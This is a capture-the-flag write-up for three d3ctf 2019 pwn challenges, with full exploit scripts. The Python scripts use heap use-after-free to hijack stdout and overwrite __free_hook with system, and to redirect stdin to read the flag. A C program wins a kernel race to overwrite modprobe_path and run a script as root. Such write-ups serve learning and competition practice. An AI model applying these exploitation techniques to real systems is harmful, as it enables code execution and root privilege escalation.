d3ctf 2019 pwn writeup

Github: https://github.com/Ex-Origin/ctf-writeups/tree/master/d3ctf2019/pwn.

new_heap

There is an obvious UAF vulnerability in the program, but the tcache double freee check is not easy to bypass.

With the further analysis of the program, you will find it doesn't close the buffer of stdin, that means we can call getchar() to triger malloc_consolidate. After that we can use stdin to control heap, then exploit UAF to implement arbitrary address writing.

Exploit:

  1. call getchar() to triger malloc_consolidate and achieve chunk overlap.
  2. hijack tcache
  3. hijack stdout
  4. hijack hook

Exp:

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './new_heap'
# execve_file = './new_heap'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
# sh = process(execve_file)
sh = remote('localhost', 1000)
elf = ELF(execve_file)
# libc = ELF('./libc-2.29.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    def pr
        x/18gx $rebase(0x202060)
        end
    b malloc
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(size, content):
    sh.sendlineafter('3.exit\n', '1')
    sh.sendlineafter('size:', str(size))
    sh.sendafter('content:', content)

def delete(index):
    sh.sendlineafter('3.exit\n', '2')
    sh.sendlineafter('index:', str(index))

def local_exit(content):
    sh.sendlineafter('3.exit\n', '3')
    sh.sendafter('sure?\n', content)

def clear_exit_buf(num):
    for i in range(num):
        local_exit('')

sh.recvuntil('s:')
high = (int(sh.recvline(), 16) - 2) * 0x100
log.success('high: ' + hex(high))

for i in range(9):
    add(0x28, '\n')

for i in range(9):
    delete(i)

add(0x28, '\n')

local_exit('a' * 0x28 + p8(0x31) + '\0\0')
# pause()
delete(8) # hijack tcache
clear_exit_buf(0x28 + 2)

local_exit('a' * 0x28 + p64(0x31) + p16(high + 0x10))
add(0x28, '\n')
add(0x28, '\0' * 0x20 + '\xff' * 0x8)

# hijack tcache
delete(11)
add(0x48, '\0' * 0x10)
add(0x18, p16(0xe760)) # Let tcache point at stdout

# pause()
add(0x38, p64(0xfbad2887 | 0x1000) + p64(0) * 3 + p8(0xc8)) # hijack stdout
result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

# again
delete(8)
clear_exit_buf(0x28 + 8 + 2 - 1)
local_exit('a' * 0x28 + p64(0x31) + p64(libc_addr + libc.symbols['__free_hook']))

add(0x28, '/bin/sh\0')
add(0x28, p64(libc_addr + libc.symbols['system'])) # hijack __free_hook

delete(15)

sh.interactive()
clear()

ezfile

Nice challenge!

The program have UAF and stack overflow, we can use double free to modify stdin->_fileno to 3, then use stack overflow to transfer following position.

.text:000000000000114C                 call    _open
.text:0000000000001151                 mov     cs:fd, eax
.text:0000000000001157                 mov     eax, cs:fd
.text:000000000000115D                 cmp     eax, 0FFFFFFFFh
.text:0000000000001160                 jnz     short loc_117D
.text:0000000000001162                 mov     esi, 1          ; newline
.text:0000000000001167                 lea     rdi, aErrorInOpening ; "error in opening /dev/urandom"
.text:000000000000116E                 call    myputs
.text:0000000000001173                 mov     edi, 0          ; status
.text:0000000000001178                 call    _exit
.text:000000000000117D ; ---------------------------------------------------------------------------
.text:000000000000117D
.text:000000000000117D loc_117D:                               ; CODE XREF: main+7B↑j
.text:000000000000117D                 lea     rsi, name
.text:0000000000001184                 lea     rdi, a90s       ; "%90s"
.text:000000000000118B                 mov     eax, 0
.text:0000000000001190                 call    ___isoc99_scanf
.text:0000000000001195                 lea     rsi, name
.text:000000000000119C                 lea     rdi, format     ; "welcome!%s.\n"
.text:00000000000011A3                 mov     eax, 0
.text:00000000000011A8                 call    _printf

You can control rdi and rsi register while strack overflowing. finally, you will get the flag.

In the whole process, the probability of cracking the address of stdin and image base in both parts is 1/16.

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
#     gdb_symbols = '''

#     '''

#     f = open('/tmp/gdb_symbols.c', 'w')
#     f.write(gdb_symbols)
#     f.close()
#     os.system('gcc -g -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
#     # os.system('gcc -g -m32 -shared /tmp/gdb_symbols.c -o /tmp/gdb_symbols.so')
# except Exception as e:
#     pass

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './ezfile'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('', 0)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''

    b *$rebase(0x10e4)
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

def add(size, content):
    sh.sendlineafter('>>', '1')
    sh.sendlineafter('>>', str(size))
    sh.sendafter('>>', content)

def delete(index):
    sh.sendlineafter('>>', '2')
    sh.sendlineafter('>>', str(index))

sh.sendafter(': ' , 'a' * 90)

add(0x10, p64(0) + p64(0x21))
for i in range(6):
    add(0x18, '\n')

# # # Let fd of the chunk leave  the address of the zero index chunk
for i in range(7):
    delete(0)

# put the chunk into fastbin
delete(1)

add(1, p8(0x80))
add(0x1, p8(0x90))
add(0x11, p64(0) + p64(0xa1) + '\n')

for i in range(8):
    delete(1)

delete(9)
# control fd of the chunk 
two_byte = p16(0xa60 + random.randint(0, 0xf) * 0x1000)
# two_byte = '\x60\xfa'

# edit size and the value of fd
add(0x10 + len(two_byte), p64(0) + p64(0x21) + two_byte)
add(0x18, '\n')

# hijack stdin->_fileno
add(0x1, p8(3))

sh.sendlineafter('>>', '3')
sh.sendlineafter('>>', '0') # O_RDONLY

payload = 'flag\0'.ljust(0x68, '\0') + p16(0x14c + random.randint(0, 0xf) * 0x1000)
# payload = 'flag\0'.ljust(0x68, '\0') + '\x4c\x51'
sh.sendlineafter('>', str(len(payload)))
sh.sendafter('>>', payload)

sh.interactive()
clear()

knote

classical race condition vulnerability.

To be honest, this is my first time to complete a race condition challenge, and I sincerely thank the help form ray-cp, I can't finish the challenge without his help.

vulnerability

Note structures doesn't have locks, so there is a race condition vulnerability. I initially thought raw_write_lock would protect note structures, but it doesn't work. Perhaps it is just a special optimization of compiler.

exploit

  • Use race condition to leak ptmx's tty_strcut information then use it to figure out kernel base address.
  • hijack slab's next to point at modprobe_path by race condition, change the modprobe_path to '/tmp/shell.sh'.
  • Run a wrong executable file then triger kernel exception, and the kernel calls handler to fix it, finally the handler will run /tmp/shell.sh as root.
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/wait.h>
#include <sys/ioctl.h>

#include "userfaultfd_tool.h"
#include "note.h"

int main(int argc, char **args, char **envp)
{
    int fd, ptmx_fd, i, file_fd, pid, result;
    parameter param;
    char buf[0x1000], *handle_page, *new_args[] = {"/tmp/wrong_elf", NULL};
    size_t kernel_base, *ptr, modprobe_path;

    fd = open("/dev/knote", O_RDONLY);
    ASSERT((fd == -1), 0, "open error!");

    handle_page = get_userfault_page(2);
    ptr = (size_t *)handle_page;

    add_chunk(fd, 0x3f0); // 0

    RUN_JOB(get_chunk, fd, 0, handle_page);

    delete_chunk(fd, 0);

    /* Fill the chunk that just freed with tty_struct */
    for(i = 0; i < 16; i++)
    {
        ASSERT((open("/dev/ptmx", O_RDWR) == -1), 0, "open error!");
    }

    /* Release lock, then it can get the memory of tty_struct. */
    release_fault_page();

    kernel_base = ptr[74] - 0x5d3b70;
    LOGV(kernel_base);

    modprobe_path = kernel_base + REAL_OFFSET(0xffffffff8245c5c0);
    LOGV(modprobe_path);

    add_chunk(fd, 0x3f0);

    ptr = (size_t *)PAGE_COPY_ADDR;
    ptr[0] = modprobe_path;
    RUN_JOB(edit_chunk, fd, 0, handle_page + 0x1000);

    delete_chunk(fd, 0);
    release_fault_page();

    add_chunk(fd, 0x3f0);
    // get modprobe_path
    add_chunk(fd, 0x3f0);

    file_fd = open("/tmp/shell.sh", O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0755);
    ASSERT((file_fd == -1), 0, "open error!");
    write(file_fd,  "#!/bin/sh\n"
                    "chmod 777 flag\n"
                    "sleep 20\n", 34);
    close(file_fd);

    edit_chunk(fd, 1, "/tmp/shell.sh");

    file_fd = open(new_args[0], O_WRONLY|O_CREAT|O_NOCTTY|O_NONBLOCK, 0755);
    ASSERT((file_fd == -1), 0, "open error!");
    write(file_fd,  "\x00", 1);
    close(file_fd);

    pid = fork();
    ASSERT((pid != -1), 1, "fork error!");

    if(pid)
    {
        puts("wait ...");
        sleep(1);
        file_fd = open("/flag", O_RDONLY);
        ASSERT((file_fd == -1), 0, "open error!");
        result = read(file_fd, buf, sizeof(buf) - 1);
        buf[result] = 0;
        puts(buf);
    }
    else
    {
        ASSERT(execve(new_args[0], new_args, envp), 0, "execve error!");
    }

    return  0;
}

Note: Other source file is in my github that is show earlier in the top of my article.